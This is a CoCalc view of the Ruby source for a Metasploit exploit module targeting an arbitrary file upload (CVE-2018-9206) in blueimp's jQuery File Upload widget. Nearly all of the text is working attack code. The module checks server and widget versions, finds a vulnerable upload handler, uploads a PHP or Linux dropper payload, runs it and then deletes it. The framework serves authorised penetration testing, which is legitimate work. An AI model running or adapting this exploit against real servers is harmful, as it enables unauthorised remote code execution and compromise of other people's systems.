CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::PhpEXE
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => "blueimp's jQuery (Arbitrary) File Upload",
16
'Description' => %q{
17
This module exploits an arbitrary file upload in the sample PHP upload
18
handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.
19
20
Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
21
file may be disabled, enabling exploitation of this vulnerability.
22
23
This vulnerability has been exploited in the wild since at least 2015
24
and was publicly disclosed to the vendor in 2018. It has been present
25
since the .htaccess change in Apache 2.3.9.
26
27
This module provides a generic exploit against the jQuery widget.
28
},
29
'Author' => [
30
'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload
31
'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC
32
'wvu' # Metasploit module
33
],
34
'References' => [
35
['CVE', '2018-9206'],
36
['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],
37
['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],
38
['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],
39
['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],
40
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],
41
['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']
42
],
43
'DisclosureDate' => '2018-10-09', # Larry's disclosure to the vendor
44
'License' => MSF_LICENSE,
45
'Platform' => ['php', 'linux'],
46
'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64],
47
'Privileged' => false,
48
'Targets' => [
49
['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP],
50
['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]
51
],
52
'DefaultTarget' => 0
53
))
54
55
register_options([
56
OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])
57
])
58
end
59
60
def version_paths
61
%w[
62
/package.json
63
/bower.json
64
].map { |u| normalize_uri(target_uri.path, u) }
65
end
66
67
# List from PoC sorted by frequency
68
def upload_paths
69
%w[
70
/server/php/index.php
71
/server/php/upload.class.php
72
/server/php/UploadHandler.php
73
/example/upload.php
74
/php/index.php
75
].map { |u| normalize_uri(target_uri.path, u) }
76
end
77
78
def check
79
a = nil
80
81
version_paths.each do |u|
82
vprint_status("Checking #{u}")
83
84
res = send_request_cgi(
85
'method' => 'GET',
86
'uri' => u
87
)
88
89
next unless res
90
91
unless a
92
res.headers['Server'] =~ /Apache\/([\d.]+)/ &&
93
$1 && (a = Rex::Version.new($1))
94
95
if a && a >= Rex::Version.new('2.3.9')
96
vprint_good("Found Apache #{a} (AllowOverride None may be set)")
97
elsif a
98
vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
99
end
100
end
101
102
next unless res.code == 200 && (j = res.get_json_document) &&
103
j['version'] && (v = Rex::Version.new(j['version']))
104
105
if v <= Rex::Version.new('9.22.0')
106
vprint_good("Found unpatched jQuery File Upload #{v}")
107
return CheckCode::Appears
108
else
109
vprint_error("Found patched jQuery File Upload #{v}")
110
return CheckCode::Safe
111
end
112
end
113
114
CheckCode::Unknown
115
end
116
117
def find_upload
118
upload_paths.each do |u|
119
vprint_status("Checking #{u}")
120
121
res = send_request_cgi(
122
'method' => 'GET',
123
'uri' => u
124
)
125
126
if res && res.code == 200
127
vprint_good("Found #{u}")
128
return u
129
end
130
end
131
132
nil
133
end
134
135
def exploit
136
unless check == CheckCode::Appears && (u = find_upload)
137
fail_with(Failure::NotFound, 'Could not find target')
138
end
139
140
f = "#{rand_text_alphanumeric(8..42)}.php"
141
p = normalize_uri(File.dirname(u), 'files', f)
142
143
print_status('Uploading payload')
144
res = upload_payload(u, f)
145
146
unless res && res.code == 200 && res.body.include?(f)
147
fail_with(Failure::NotVulnerable, 'Could not upload payload')
148
end
149
150
print_good("Payload uploaded: #{full_uri(p)}")
151
152
print_status('Executing payload')
153
exec_payload(p)
154
155
print_status('Deleting payload')
156
delete_payload(u, f)
157
end
158
159
def upload_payload(u, f)
160
p = get_write_exec_payload(unlink_self: true)
161
162
m = Rex::MIME::Message.new
163
m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))
164
165
send_request_cgi(
166
'method' => 'POST',
167
'uri' => u,
168
'ctype' => "multipart/form-data; boundary=#{m.bound}",
169
'data' => m.to_s
170
)
171
end
172
173
def exec_payload(p)
174
send_request_cgi({
175
'method' => 'GET',
176
'uri' => p
177
}, 0)
178
end
179
180
def delete_payload(u, f)
181
send_request_cgi(
182
'method' => 'DELETE',
183
'uri' => u,
184
'vars_get' => {'file' => f}
185
)
186
end
187
188
end
189
190